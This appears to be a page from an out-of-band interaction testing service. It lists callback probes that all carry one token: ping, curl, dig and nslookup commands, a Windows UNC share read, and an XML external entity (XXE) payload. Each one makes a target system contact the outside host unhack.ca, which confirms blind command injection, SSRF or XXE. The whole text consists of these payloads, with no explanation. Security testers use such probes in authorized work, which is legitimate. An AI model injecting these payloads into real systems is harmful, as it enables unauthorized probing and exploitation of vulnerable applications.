$ ping -c1 -p 004432e10f1987d855ecb219341f8300 unhack.ca
 

$ curl http://unhack.ca/p/4432e10f1987d855ecb219341f83
 

$ dig 4432e10f1987d855ecb219341f83 @unhack.ca
 

$ dig 4432e10f1987d855ecb219341f83.ns.unhack.ca
 

C:\> nslookup 4432e10f1987d855ecb219341f83 unhack.ca
 

C:\> type \\unhack.ca\4432e10f1987d855ecb219341f83\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4432e10f1987d855ecb219341f83">]>
    <foo>&xxe;</foo>